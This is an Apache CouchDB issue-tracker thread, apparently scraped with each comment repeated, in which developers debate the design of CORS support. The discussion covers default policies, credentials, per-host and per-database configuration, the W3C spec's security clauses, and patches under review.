          Jason Smith added a comment - @randall "Sometimes CouchDB is deployed without vhosts." May we call it "host-based" configuration, not "vhost-based" configuration? It is not virtual, and unrelated to the CouchDB vhost feature. With this terminology, do you see an error in your second paragraph? "Sometimes CouchDB is deployed without vhosts." Sure, but it is always deployed as a host , even if that is "http://127.0.0.1:5984." "The security object is more flexible and unifies access control in one place." It is more flexible but I disagree that it unifies control in one place. Real-world couch apps are split across multiple databases, and also require special paths like /_session and /_utils. Are you concerned we are outsourcing the hard work to the app developers? 1. They must synchronize _security across all their databases. 2. They must synchronize with /_users/_security too but they may not be an admin 3. They must synchronize with a global security to handle /_uuids, /_session. I went 100% host-based to achieve a simple first milestone. Maybe we could do _security configs later. If you disagree, that's fine though. Quick question question. Imagine _rewrite/root points back to the root path (i.e. you get {"couchdb":"Welcome", "version":"..."} ). For: /db_A/_design/foo/_rewrite/root/db_B/_design/foo/_rewrite/root/db_C/_design/foo/_rewrite/root/db_D What would be the final CORS policy to apply? The union? The intersection?
          Hide
          Benoit Chesneau added a comment -

          @tilgovi on "My issue with _security level config is that we cannot guarantee, in general, that all resources on a single host will have the same cors headers." I'm not sure it could happen ... once the preflight request is done it's cached. Even if an app is trying to access to 2 dbs (which should be prohibited imo) the preflight request will be done using the global settings (ini) or db settings an will only happen one time. Did I miss something?

          About introducing params in origin settings, could be a good idea. The only problem I see is the need of put all these things on one line. That will be rapidly difficult to read.

          On security totally agree.

          @jason lot of couchapps aren't implemented on multiples dbs on the contrary. And it shouldn't be supported. It breaks the replication and the security design. People that are doing that should know that, since they have to switch the insecure_rewrite settings. Anyway i don't see how having security handled in _security is a problem. The scenario you push " /db_A/_design/foo/_rewrite/root/db_B/_design/foo/_rewrite/root/db_C/_design/foo/_rewrite/root/db_D " is a no problem since the preflight request will be handled by 'db_a' . also in this case db_A, db_B and db_C should have the same host/origin policy.

          Handling origin in db security object is good when you speak about vhosting couchapps if you follow the supported security schema. So we should handle it imo.

          The fact that _security can't be replicated without personal script is another problem that could be solved after. It's needed as well for admins and readers if someone want for any reason replicate a security policy. But it's another ticket/issue not related to this one.

          Show
          Benoit Chesneau added a comment - @tilgovi on "My issue with _security level config is that we cannot guarantee, in general, that all resources on a single host will have the same cors headers." I'm not sure it could happen ... once the preflight request is done it's cached. Even if an app is trying to access to 2 dbs (which should be prohibited imo) the preflight request will be done using the global settings (ini) or db settings an will only happen one time. Did I miss something? About introducing params in origin settings, could be a good idea. The only problem I see is the need of put all these things on one line. That will be rapidly difficult to read. On security totally agree. @jason lot of couchapps aren't implemented on multiples dbs on the contrary. And it shouldn't be supported. It breaks the replication and the security design. People that are doing that should know that, since they have to switch the insecure_rewrite settings. Anyway i don't see how having security handled in _security is a problem. The scenario you push " /db_A/_design/foo/_rewrite/root/db_B/_design/foo/_rewrite/root/db_C/_design/foo/_rewrite/root/db_D " is a no problem since the preflight request will be handled by 'db_a' . also in this case db_A, db_B and db_C should have the same host/origin policy. Handling origin in db security object is good when you speak about vhosting couchapps if you follow the supported security schema. So we should handle it imo. The fact that _security can't be replicated without personal script is another problem that could be solved after. It's needed as well for admins and readers if someone want for any reason replicate a security policy. But it's another ticket/issue not related to this one.
          Hide
          Randall Leeds added a comment -

          Jason and I talked at (great) length today (thanks again, Jason). Here are the important conclusions.

          • Default CORS policy MUST be to deny requests. In particular, this is to prevent breaking the assumption that a local couch is secure by virtue of not facing the public Internet. Since an attacker can cause a CORS request to 127.0.0.1, it is dangerous to enable CORS by default (even if the methods are restricted and credentials are stripped).
          • Default should be Access-Control-Allow-Credentials: false. Even when CORS is turned on, credentials should be disabled unless specifically enabled.
          • The specification instructs (6.2#2 - 6.2#3) clients to abort requests when Access-Control-Allow-Origin is "*" and Access-Control-Allow-Credentials is not "false". Therefore, our implementation should not allow an administrator to configure this combination of settings.
          Show
          Randall Leeds added a comment - Jason and I talked at (great) length today (thanks again, Jason). Here are the important conclusions. Default CORS policy MUST be to deny requests. In particular, this is to prevent breaking the assumption that a local couch is secure by virtue of not facing the public Internet. Since an attacker can cause a CORS request to 127.0.0.1, it is dangerous to enable CORS by default (even if the methods are restricted and credentials are stripped). Default should be Access-Control-Allow-Credentials: false. Even when CORS is turned on, credentials should be disabled unless specifically enabled. The specification instructs (6.2#2 - 6.2#3) clients to abort requests when Access-Control-Allow-Origin is "*" and Access-Control-Allow-Credentials is not "false". Therefore, our implementation should not allow an administrator to configure this combination of settings.
          Hide
          Benoit Chesneau added a comment - - edited

          @tilgovi

          on 1 : i think the default on the contrary should be cors is * (credentials false) until an admin or the 'only authenticated' setting are set. This respect more our defaults. With eventually a switch.

          • ok.
          • on 3 : detail of implementation. The question is more how can you allows credentials for all origins without putting them manually. Should we support that? How?
          Show
          Benoit Chesneau added a comment - - edited @tilgovi on 1 : i think the default on the contrary should be cors is * (credentials false) until an admin or the 'only authenticated' setting are set. This respect more our defaults. With eventually a switch. ok. on 3 : detail of implementation. The question is more how can you allows credentials for all origins without putting them manually. Should we support that? How?
          Hide
          Randall Leeds added a comment -

          CORS by default is too scary with local DBs. I think it breaks common assumptions about the web. I don't want to have to create admin accounts on my local, 127.0.0.1 couch in order to prevent a malicious site from stealing my personal data.

          As for credentials for all origins, I'm saying that the spec asks browsers not to allow it, therefore whatever config system we have need not allow that to be configured.
          For example, Jason suggested something like:
          [cors]
          hostA = http://originX https://originY
          hostB = *

          Where default would be to allow credentials for originX and originY, but not for any other. Without specifying credentials in the ini file, the default is to do what the spec says are the use cases.

          I still think we can do better for configuration, though.

          Show
          Randall Leeds added a comment - CORS by default is too scary with local DBs. I think it breaks common assumptions about the web. I don't want to have to create admin accounts on my local, 127.0.0.1 couch in order to prevent a malicious site from stealing my personal data. As for credentials for all origins, I'm saying that the spec asks browsers not to allow it, therefore whatever config system we have need not allow that to be configured. For example, Jason suggested something like: [cors] hostA = http://originX https://originY hostB = * Where default would be to allow credentials for originX and originY, but not for any other. Without specifying credentials in the ini file, the default is to do what the spec says are the use cases. I still think we can do better for configuration, though.
          Hide
          Randall Leeds added a comment -

          I noticed that the Requirements appendix, item 11 states that cors policies for resources on the same origin may differ.

          "11. It should be possible to configure distinct cross-origin authorization policies for different target resources that reside within the same origin." - (http://www.w3.org/TR/cors/#requirements)

          This contradicts my past assumption. It invalidates my Max-Age suggestions. Also, it improves the use case for _security level config. I'll try to update the unit tests with my last comment and we can keep iterating.

          Jason and I also discussed some possibilities for configuration at host level which sounded reasonable. However, maybe we should consider another possibility. I will take it to the mailing list.

          Show
          Randall Leeds added a comment - I noticed that the Requirements appendix, item 11 states that cors policies for resources on the same origin may differ. "11. It should be possible to configure distinct cross-origin authorization policies for different target resources that reside within the same origin." - ( http://www.w3.org/TR/cors/#requirements ) This contradicts my past assumption. It invalidates my Max-Age suggestions. Also, it improves the use case for _security level config. I'll try to update the unit tests with my last comment and we can keep iterating. Jason and I also discussed some possibilities for configuration at host level which sounded reasonable. However, maybe we should consider another possibility. I will take it to the mailing list.
          Hide
          Benoit Chesneau added a comment - - edited

          why CORS is scary on it ? That's matter of a real discussion. It allows pretty interesting things on the contrary. For example in elasticsearch world it allows people to build admin & stats applications . Useful for dev and admin other nodes. People that want to protect against malicious site should protect themselves.

          I'm starting to be really annoyed by this way of seeing the security anyway.People that are not able to not protect their local network shouldn't go on the net. We should document the change, so people should be aware about security implications.

          The spec doesn't allows it. yes. But i'm speaking about usability. Ex, i want all my local net with different tld .fr.lan, .us.lan ... to access to it with credentials. There should be a way to say ''. I didn't say "send * when credentials=true". My patch is returning the origin for that not '', but you can set '*' in security object.

          About config syntax, hosts should be separated by a , in ini. "_" is too much matter to problems. For the rest apart the problem of readability of ini with a long list i don't see.

          Show
          Benoit Chesneau added a comment - - edited why CORS is scary on it ? That's matter of a real discussion. It allows pretty interesting things on the contrary. For example in elasticsearch world it allows people to build admin & stats applications . Useful for dev and admin other nodes. People that want to protect against malicious site should protect themselves. I'm starting to be really annoyed by this way of seeing the security anyway.People that are not able to not protect their local network shouldn't go on the net. We should document the change, so people should be aware about security implications. The spec doesn't allows it. yes. But i'm speaking about usability. Ex, i want all my local net with different tld .fr.lan, .us.lan ... to access to it with credentials. There should be a way to say ' '. I didn't say "send * when credentials=true". My patch is returning the origin for that not ' ', but you can set '*' in security object. About config syntax, hosts should be separated by a , in ini. "_" is too much matter to problems. For the rest apart the problem of readability of ini with a long list i don't see.
          Hide
          Benoit Chesneau added a comment -

          i agree that when you start to set origins you shouldn't accept any other origins. except maybe if '*' is set in the conf.

          The flow may be:
          is origins list not empty in ini
          no -> is admin set ?
          yes -> stop
          no -> return "*" , credentials false (with a good caching policy)
          yes ->

          is origin in .ini ?
          yes -> use cors rules for it
          no -> are we on a db resource ?
          yes -> are origins in db sec obj

          yes ->
          is origin in list ?
          no -> stop
          yes -> ...

          Show
          Benoit Chesneau added a comment - i agree that when you start to set origins you shouldn't accept any other origins. except maybe if '*' is set in the conf. The flow may be: is origins list not empty in ini no -> is admin set ? yes -> stop no -> return "*" , credentials false (with a good caching policy) yes -> is origin in .ini ? yes -> use cors rules for it no -> are we on a db resource ? yes -> are origins in db sec obj yes -> is origin in list ? no -> stop yes -> ...
          Hide
          Benoit Chesneau added a comment -

          "11. It should be possible to configure distinct cross-origin authorization policies for different target resources that reside within the same origin." - (http://www.w3.org/TR/cors/#requirements) "

          We should test if the browser sending a preflight request on each patch. I thought it did but maybe not (hence my patch). If it's not the case we should just handle cors against hosts then.

          Show
          Benoit Chesneau added a comment - "11. It should be possible to configure distinct cross-origin authorization policies for different target resources that reside within the same origin." - ( http://www.w3.org/TR/cors/#requirements ) " We should test if the browser sending a preflight request on each patch. I thought it did but maybe not (hence my patch). If it's not the case we should just handle cors against hosts then.
          Hide
          Benoit Chesneau added a comment -

          preflights requests are done on path. (answring to previous comment)

          Show
          Benoit Chesneau added a comment - preflights requests are done on path. (answring to previous comment)
          Hide
          Joan Touzet added a comment -

          Bump. Where is this w.r.t. 1.2.0? The last thing I see is disagreement on defaults (everyone vs. benoitc, I think) and agreement on the specific code.

          Show
          Joan Touzet added a comment - Bump. Where is this w.r.t. 1.2.0? The last thing I see is disagreement on defaults (everyone vs. benoitc, I think) and agreement on the specific code.
          Hide
          Benoit Chesneau added a comment -

          Curious way to bump a ticket.

          There is a thread about what we will do on the dev@ ml, I will sync with randall, to see how far he has gone.

          Show
          Benoit Chesneau added a comment - Curious way to bump a ticket. There is a thread about what we will do on the dev@ ml, I will sync with randall, to see how far he has gone.
          Hide
          Jan Lehnardt added a comment -

          Bump to 1.3.x.

          Show
          Jan Lehnardt added a comment - Bump to 1.3.x.
          Hide
          Jason Smith added a comment -

          I have a partial implementation of Benoit's updated spec at http://friendpaste.com/4q1zeNUEtPFS7XbioPYYzM

          https://github.com/jhs/couchdb/commits/newcors/

          This includes two etap files, with 44 tests so far. There is no HTTP code yet. I plan to use Benoit's http code and tests from his patches on this ticket, which have been reviewed by several people. For now I am focusing on getting good tests about CORS policy.

          My code so-far is a new module, couch_cors_policy.erl. It has almost no connection or dependency with Couch. It does not require initialization. It is not necessary to start any couch_* servers. Its primary function is check/3

          Given parameters (1) a global configuration, i.e. couch_config stuff, (2) a local configuration (a _security object), and an #httpd{} request, it will return a list of the correct CORS headers, or 'false' if the response should not support CORS.

          When couch_config is running, you can omit the first parameter, and it will derive it from the config. See test/etap/251-cors-config.t.

          In any case, test/etap/250-cors-policy.t exercises the policy decisions and whether they are correct. It is in-progress, but the tests cover a few aspects:

          • The interaction between _security and the _config (in general, _security takes precedence)
          • Correct headers according to the spec
          • Defaults, and their interaction with user settings

          Feedback is appreciated. Thanks.

          Show
          Jason Smith added a comment - I have a partial implementation of Benoit's updated spec at http://friendpaste.com/4q1zeNUEtPFS7XbioPYYzM https://github.com/jhs/couchdb/commits/newcors/ This includes two etap files, with 44 tests so far. There is no HTTP code yet. I plan to use Benoit's http code and tests from his patches on this ticket, which have been reviewed by several people. For now I am focusing on getting good tests about CORS policy. My code so-far is a new module, couch_cors_policy.erl. It has almost no connection or dependency with Couch. It does not require initialization. It is not necessary to start any couch_* servers. Its primary function is check/3 Given parameters (1) a global configuration, i.e. couch_config stuff, (2) a local configuration (a _security object), and an #httpd{} request, it will return a list of the correct CORS headers, or 'false' if the response should not support CORS. When couch_config is running, you can omit the first parameter, and it will derive it from the config. See test/etap/251-cors-config.t. In any case, test/etap/250-cors-policy.t exercises the policy decisions and whether they are correct. It is in-progress, but the tests cover a few aspects: The interaction between _security and the _config (in general, _security takes precedence) Correct headers according to the spec Defaults, and their interaction with user settings Feedback is appreciated. Thanks.
          Hide
          Benoit Chesneau added a comment - - edited

          Thanks for the wakeup @rnewson. We restarted this work during the last couchack and @daleharvey have some new code around but last time I heard about it it wasn't finished.

          Also it depends how far we want to go in CORS support. ie on read only? for public dbs only ? Or do we also want to support credentials. I am hoping we are going for 3.

          Anyway I want to start some work today mixing all the ideas around and trying the following design:

          Having a middleware that works like the vhost handler :

          NewReq = handle_cors(Req)

          This handler is handling the preflight phase and check the origin. This handler would also remove the need to store in the process dict all the info we need and everything will be stored in the req object..

          Then this handler can check the policy by matching a set of rules depending on the current path and tell if an origin is accepted or not and if credentials can be used.

          Thoughts?

          Show
          Benoit Chesneau added a comment - - edited Thanks for the wakeup @rnewson. We restarted this work during the last couchack and @daleharvey have some new code around but last time I heard about it it wasn't finished. Also it depends how far we want to go in CORS support. ie on read only? for public dbs only ? Or do we also want to support credentials. I am hoping we are going for 3. Anyway I want to start some work today mixing all the ideas around and trying the following design: Having a middleware that works like the vhost handler : NewReq = handle_cors(Req) This handler is handling the preflight phase and check the origin. This handler would also remove the need to store in the process dict all the info we need and everything will be stored in the req object.. Then this handler can check the policy by matching a set of rules depending on the current path and tell if an origin is accepted or not and if credentials can be used. Thoughts?
          Hide
          Dave Cottlehuber added a comment -

          @benoitc +1, sounds very interesting, especially being able to extend CouchDB through various middleware. I think we should have full credential support.

          Show
          Dave Cottlehuber added a comment - @benoitc +1, sounds very interesting, especially being able to extend CouchDB through various middleware. I think we should have full credential support.
          Hide
          Robert Newson added a comment -

          I'm still re-learning about CORS. This really has taken far too long. I want it in 1.3 but it needs to be right (and safe). I'd love to see complete CORS support though it doesn't all have to land in 1.3. That said, I say we go for broke and try to get it all in, we can split it later if that proves too tough.

          As an aside, I generally dislike approaches that use the process dictionary. There's often a good case for exceptions in the case of http requests as there's a process per request, but it still feels icky to me. Webmachine, as you well know, wends a State object through the http request pipeline, much as a gen_server does, and that seems a much saner model (and ick-free). Complete aside, I think, until we can move to webmachine, cowboy, webcowboy or cowboymachine.

          B.

          Show
          Robert Newson added a comment - I'm still re-learning about CORS. This really has taken far too long. I want it in 1.3 but it needs to be right (and safe). I'd love to see complete CORS support though it doesn't all have to land in 1.3. That said, I say we go for broke and try to get it all in, we can split it later if that proves too tough. As an aside, I generally dislike approaches that use the process dictionary. There's often a good case for exceptions in the case of http requests as there's a process per request, but it still feels icky to me. Webmachine, as you well know, wends a State object through the http request pipeline, much as a gen_server does, and that seems a much saner model (and ick-free). Complete aside, I think, until we can move to webmachine, cowboy, webcowboy or cowboymachine. B.
          Hide
          Benoit Chesneau added a comment - - edited

          New branch 431_cors is available:

          https://git-wip-us.apache.org/repos/asf?p=couchdb.git;a=commitdiff;h=0777262f

          Some explanations about the patch:

          http://markmail.org/message/wzdge2nb3xkaqzlk

          Please test!

          Show
          Benoit Chesneau added a comment - - edited New branch 431_cors is available: https://git-wip-us.apache.org/repos/asf?p=couchdb.git;a=commitdiff;h=0777262f Some explanations about the patch: http://markmail.org/message/wzdge2nb3xkaqzlk Please test!
          Hide
          Benoit Chesneau added a comment -

          bump. Any reviews are welcome.

          Show
          Benoit Chesneau added a comment - bump. Any reviews are welcome.
          Hide
          Dave Cottlehuber added a comment -

          So far LGTM. I added more notes here http://wiki.apache.org/couchdb/CORS

          • simple requests are working fine - many thanks!
          • it seems method restrictions http://www.w3.org/TR/cors/#resource-requests are advisory only. It makes more sense to enforce them at couchdb side rather than ignore them at the moment.
          • I've not checked vhosts or headers yet
          Show
          Dave Cottlehuber added a comment - So far LGTM. I added more notes here http://wiki.apache.org/couchdb/CORS simple requests are working fine - many thanks! it seems method restrictions http://www.w3.org/TR/cors/#resource-requests are advisory only. It makes more sense to enforce them at couchdb side rather than ignore them at the moment. I've not checked vhosts or headers yet
          Hide
          Benoit Chesneau added a comment - - edited

          patch against 431-feature_cors branch to check methods acceped for this host when cors is enabled.

          It's not part of the spec though. Maybe it could be handled at another level like in a [security] section ? Reusing the cors middleware reduce the amount of code though.

          Show
          Benoit Chesneau added a comment - - edited patch against 431-feature_cors branch to check methods acceped for this host when cors is enabled. It's not part of the spec though. Maybe it could be handled at another level like in a [security] section ? Reusing the cors middleware reduce the amount of code though.
          Hide
          Dale Harvey added a comment -

          Cheers for this benoitc

          Off the latest branch everything is working well for my use case, doing to try a few more use cases but this looks good for me, theres a few nits I have and one feature request.

          1. enable_cors looks like it has been through a few renames but I am fairly certain its current name is wrong, they are generally declarative so 'cor_enabled = true'
          Seems right, but if people disagree this pretty minor

          2. Some logging would be useful, in particular when requests have been cors disabled due to failing tests against the config

          3. There are a lot of features that can be added, (like pattern matched vhosts etc) and I definitely want to avoid adding anything, I think this should be merged as soon as possible, however the one feature that I think would be worth making the cut is wildcard headers, most devs are not going to keep track of every single header that their application uses (and in some cases it will be impossible) so the ability to specify headers = * which just spits back the headers sent by the client would be extremely useful.

          However I would be happy to see this be merged sans any new features, I will try to get some more uses cases tests and send in any tests + patches

          Cheers Benoit

          Show
          Dale Harvey added a comment - Cheers for this benoitc Off the latest branch everything is working well for my use case, doing to try a few more use cases but this looks good for me, theres a few nits I have and one feature request. 1. enable_cors looks like it has been through a few renames but I am fairly certain its current name is wrong, they are generally declarative so 'cor_enabled = true' Seems right, but if people disagree this pretty minor 2. Some logging would be useful, in particular when requests have been cors disabled due to failing tests against the config 3. There are a lot of features that can be added, (like pattern matched vhosts etc) and I definitely want to avoid adding anything, I think this should be merged as soon as possible, however the one feature that I think would be worth making the cut is wildcard headers, most devs are not going to keep track of every single header that their application uses (and in some cases it will be impossible) so the ability to specify headers = * which just spits back the headers sent by the client would be extremely useful. However I would be happy to see this be merged sans any new features, I will try to get some more uses cases tests and send in any tests + patches Cheers Benoit
          Hide
          Dale Harvey added a comment -

          Oh and one last comment, and the only one I would consider blocking

          We need more documentation in the comments about what is expected / how it works, I will try to send in a patch tomorrow

          Show
          Dale Harvey added a comment - Oh and one last comment, and the only one I would consider blocking We need more documentation in the comments about what is expected / how it works, I will try to send in a patch tomorrow
          Hide
          Jan Lehnardt added a comment -

          I posted a few more refactorings.

          Here is the first batch of my notes:

          • +1 on in-source docs
          • 231.cors.t uses "Hashed = couch_util:to_hex(crypto:sha(Password ++ Salt)),", we might want to make this use couch_passwords (Robert?)
          • The spec mentions that proxies can add multiple Origin headers, each one of them needs to be validated against the CORS configuration, we currently assume a single header.
          • on tests for wildcard & auth headers.
          • per-host configuration, what happens when one forgets the http:// prefix, what about https:// and path fragments?
          • Should we add OPTIONS to our X-HTTP-Method-Override handling?
          • The current default max_age config value is 12345. We obviously need to set this to something sane.

          So far. We have great progress on the branch, but it needs a bit more work.

          Show
          Jan Lehnardt added a comment - I posted a few more refactorings. Here is the first batch of my notes: +1 on in-source docs 231.cors.t uses "Hashed = couch_util:to_hex(crypto:sha(Password ++ Salt)),", we might want to make this use couch_passwords (Robert?) The spec mentions that proxies can add multiple Origin headers, each one of them needs to be validated against the CORS configuration, we currently assume a single header. on tests for wildcard & auth headers. per-host configuration, what happens when one forgets the http:// prefix, what about https:// and path fragments? Should we add OPTIONS to our X-HTTP-Method-Override handling? The current default max_age config value is 12345. We obviously need to set this to something sane. So far. We have great progress on the branch, but it needs a bit more work.
          Hide
          Benoit Chesneau added a comment - - edited

          @jan the spec says "The Origin header can only contain a single origin as the user agent will not follow redirects." I don't see the part about the proxy. Can you point me to it ?

          • if one forgot the http header then the origin won't be matched. The Origin must follow the uri spec which contains the scheme
          • imo OPTIONS works everywhere and the xhr clienst won't be able to override if most of the time
          • I will add some doc. Though which versions of erlang are we supposed to support for specs and co?

          max age. I will check the commonly used one.

          Show
          Benoit Chesneau added a comment - - edited @jan the spec says "The Origin header can only contain a single origin as the user agent will not follow redirects." I don't see the part about the proxy. Can you point me to it ? if one forgot the http header then the origin won't be matched. The Origin must follow the uri spec which contains the scheme imo OPTIONS works everywhere and the xhr clienst won't be able to override if most of the time I will add some doc. Though which versions of erlang are we supposed to support for specs and co? max age. I will check the commonly used one.
          Hide
          Jan Lehnardt added a comment -

          http://www.w3.org/TR/cors/#security

          > Care must always be taken by applications when making cross-origin requests with user credentials, and servers processing such requests must take care in the use of credentials, including the Origin header.

          > When requests have significance other than retrieval, and when relying on the Origin header as a credential, servers must be careful to distinguish between authorizing a request and authorizing access to the representation of that resource in the response.

          > Authorization for a request should be performed using only the intersection of the authority of the user and the requesting origin(s). In the case of redirects, more than one value for Origin may be present and all must be authorized.

          > Servers using the Origin header to authorize requests are encouraged to also verify that the Host header matches its expected value to prevent forwarding attacks. Consider two sites, corp.example and corp.invalid. A web application at corp.example makes a cross-origin request to corp.invalid, and the user agent sends the Origin header corp.example. If corp.invalid or the network is malicious, it may cause the request to be delivered to corp.example, with the result that corp.example would receive a requst that appears to originate from itself. Verifying the Host header would reveal that the user agent intended the request for corp.invalid and it can be discarded. Even better would be to exclusively use secure connections for cross-origin requests to enable user agents to detect such misdirections.

          > It is often appropriate for servers to require an authorization ceremony asking a user to consent that cross-origin requests with credentials be honored from a given origin. In such cases, passing security tokens explicitly as part of the cross-origin request can remove any ambiguity as to the scope of authorization. OAuth is an example of this pattern. [OAUTH]

          Maybe this doesn’t apply to us, I just want to make sure.

          • * *

          > - if one forgot the http header then the origin won't be matched. The Origin must follow the uri spec which contains the scheme

          That’s good. I’m thinking about users here though, we might want to log warnings when they forget to configure the scheme and then stuff doesn’t work. I just see myself trying to set this up next year

          > - imo OPTIONS works everywhere and the xhr clienst won't be able to override if most of the time

          Agreed, Nevermind.

          > - I will add some doc. Though which versions of erlang are we supposed to support for specs and co?

          I would say that just regular comments will suffice for now. We can always turn them into whatever is available in later erlang versions for auto-doc generation. If we already require a sufficient minor version, then go with whatever is there

          Show
          Jan Lehnardt added a comment - http://www.w3.org/TR/cors/#security > Care must always be taken by applications when making cross-origin requests with user credentials, and servers processing such requests must take care in the use of credentials, including the Origin header. > When requests have significance other than retrieval, and when relying on the Origin header as a credential, servers must be careful to distinguish between authorizing a request and authorizing access to the representation of that resource in the response. > Authorization for a request should be performed using only the intersection of the authority of the user and the requesting origin(s). In the case of redirects, more than one value for Origin may be present and all must be authorized. > Servers using the Origin header to authorize requests are encouraged to also verify that the Host header matches its expected value to prevent forwarding attacks. Consider two sites, corp.example and corp.invalid. A web application at corp.example makes a cross-origin request to corp.invalid, and the user agent sends the Origin header corp.example. If corp.invalid or the network is malicious, it may cause the request to be delivered to corp.example, with the result that corp.example would receive a requst that appears to originate from itself. Verifying the Host header would reveal that the user agent intended the request for corp.invalid and it can be discarded. Even better would be to exclusively use secure connections for cross-origin requests to enable user agents to detect such misdirections. > It is often appropriate for servers to require an authorization ceremony asking a user to consent that cross-origin requests with credentials be honored from a given origin. In such cases, passing security tokens explicitly as part of the cross-origin request can remove any ambiguity as to the scope of authorization. OAuth is an example of this pattern. [OAUTH] Maybe this doesn’t apply to us, I just want to make sure. * * > - if one forgot the http header then the origin won't be matched. The Origin must follow the uri spec which contains the scheme That’s good. I’m thinking about users here though, we might want to log warnings when they forget to configure the scheme and then stuff doesn’t work. I just see myself trying to set this up next year > - imo OPTIONS works everywhere and the xhr clienst won't be able to override if most of the time Agreed, Nevermind. > - I will add some doc. Though which versions of erlang are we supposed to support for specs and co? I would say that just regular comments will suffice for now. We can always turn them into whatever is available in later erlang versions for auto-doc generation. If we already require a sufficient minor version, then go with whatever is there
          Hide
          Jan Lehnardt added a comment -

          More commentary:

          it seems we have been ignoring the request clause 6.1.4 (http://www.w3.org/TR/cors/#resource-requests) so far:

          > 4. If the list of exposed headers is not empty add one or more Access-Control-Expose-Headers headers, with as values the header field names given in the list of exposed headers.

          > Note: By not adding the appropriate headers resource can also clear the preflight result cache of all entries where origin is a case-sensitive match for the value of the Origin header and url is a case-sensitive match for the URL of the resource.

          I have a patch for the branch that adds it, but it is not particular pretty. I also might misunderstand the clause.

          https://friendpaste.com/2HRIirmB8t3XjtiYNgKlf

          Either way, it’d be good to get more eyeballs on this, thanks!

          Show
          Jan Lehnardt added a comment - More commentary: it seems we have been ignoring the request clause 6.1.4 ( http://www.w3.org/TR/cors/#resource-requests ) so far: > 4. If the list of exposed headers is not empty add one or more Access-Control-Expose-Headers headers, with as values the header field names given in the list of exposed headers. > Note: By not adding the appropriate headers resource can also clear the preflight result cache of all entries where origin is a case-sensitive match for the value of the Origin header and url is a case-sensitive match for the URL of the resource. I have a patch for the branch that adds it, but it is not particular pretty. I also might misunderstand the clause. https://friendpaste.com/2HRIirmB8t3XjtiYNgKlf Either way, it’d be good to get more eyeballs on this, thanks!
          Hide
          Jan Lehnardt added a comment -

          Another question:

          cors_section(Host0) ->

          {Host, _Port}

          = split_host_port(Host0),
          "cors:" ++ Host.

          Does that mean we can't configure something like this?

          [cors:example.com:443]
          ...

          [cors:example.com:80]
          ...

          If yes, why would we want to do that?

          Wouldn’t it me more common to assume port 5984 on http:// and 6984 on https:// and handle explicit port numbers, well, explicitly?

          Show
          Jan Lehnardt added a comment - Another question: cors_section(Host0) -> {Host, _Port} = split_host_port(Host0), "cors:" ++ Host. Does that mean we can't configure something like this? [cors:example.com:443] ... [cors:example.com:80] ... If yes, why would we want to do that? Wouldn’t it me more common to assume port 5984 on http:// and 6984 on https:// and handle explicit port numbers, well, explicitly?
          Hide
          Jan Lehnardt added a comment -

          And one more note from the spec:

          http://www.w3.org/TR/cors/#resource-security:

          > In addition to checking the Origin header, resource authors are strongly encouraged to also check the Host header. That is, make sure that the host name provided by that header matches the host name of the server on which the resource resides. This will provide protection against DNS rebinding attacks.

          Does this apply to us?

          Show
          Jan Lehnardt added a comment - And one more note from the spec: http://www.w3.org/TR/cors/#resource-security: > In addition to checking the Origin header, resource authors are strongly encouraged to also check the Host header. That is, make sure that the host name provided by that header matches the host name of the server on which the resource resides. This will provide protection against DNS rebinding attacks. Does this apply to us?
          Hide
          Benoit Chesneau added a comment -

          Jan Lehnardt I will have a look on the expose header tonight

          So Yes currently we are only checking against the Host. Do we want to have a different configuration depending on the port. I wanted to skip the need to check the Host an the port here , but if we do that then I would suggest to actually reuse the vhost module code which default to couchdb ports if none or * is given. If we do that maybe while we are here we could introduce a vhost section instead of having only cors.

          Ie:

          [vhost:host:port]
          path = /blah path

            • cors config

          But it may be too late to do that.

          This to reuse the code and probably caching this vhost config instead of having to do twice the job (for cors & vhost).

          3. This is what we already do. The config is associated to an Host, and we check against the Host given in the header to get it.

          Show
          Benoit Chesneau added a comment - Jan Lehnardt I will have a look on the expose header tonight So Yes currently we are only checking against the Host. Do we want to have a different configuration depending on the port. I wanted to skip the need to check the Host an the port here , but if we do that then I would suggest to actually reuse the vhost module code which default to couchdb ports if none or * is given. If we do that maybe while we are here we could introduce a vhost section instead of having only cors. Ie: [vhost:host:port] path = /blah path cors config But it may be too late to do that. This to reuse the code and probably caching this vhost config instead of having to do twice the job (for cors & vhost). 3. This is what we already do. The config is associated to an Host, and we check against the Host given in the header to get it.
          Hide
          Jan Lehnardt added a comment - - edited

          A few updates and restating of the current state from various sources:

          1. multiple ports per host configuration: Happy to keep that open as a feature request and ship the branch without it in a release
          2. Source awaiting inline documentation.
          3. Review of Exposed Headers patch: https://friendpaste.com/2HRIirmB8t3XjtiYNgKlf / https://github.com/janl/couchdb/tree/cors-exposed-headers
          4. Needs more tests, some are hinted at in tests/etap/231-cors.t

          If we can get these done ASAP, this can ship in 1.3!

          Show
          Jan Lehnardt added a comment - - edited A few updates and restating of the current state from various sources: 1. multiple ports per host configuration: Happy to keep that open as a feature request and ship the branch without it in a release 2. Source awaiting inline documentation. 3. Review of Exposed Headers patch: https://friendpaste.com/2HRIirmB8t3XjtiYNgKlf / https://github.com/janl/couchdb/tree/cors-exposed-headers 4. Needs more tests, some are hinted at in tests/etap/231-cors.t If we can get these done ASAP, this can ship in 1.3!
          Hide
          Benoit Chesneau added a comment -

          1. I am not sure it' s needed as well. Though I noticed (it should requires real benchmarking) that using vhost + cors + rewrites introduced some delays on a busy node. To solve that I would like to introduce the notion of middleware.

          A middleware would take a request and possibly return it with new properties or just as is. It would also have the possibility to stop the request.

          The point here is to reuse the code between vhost the rewriter and the cors thing so we will be faster and cleaner (by caching some properties and other things like skipping the recreation of Mochireq or removing some ugly thing we do with headers during rewriting behind a vhost). It could possibly be used for auth and routing too.

          I have some test code around but nothing to show yet. I do think that we shouldn't release without that change.

          2. I have some questions on some naming also the way the headers are applied. I will elaborate further on that patch later this week.

          3. Will provide that,

          4. Which tests are missing for you ? Do you want to test all cases ? Maybe we could simplify the test by passing different headers and expected response as a list.

          Show
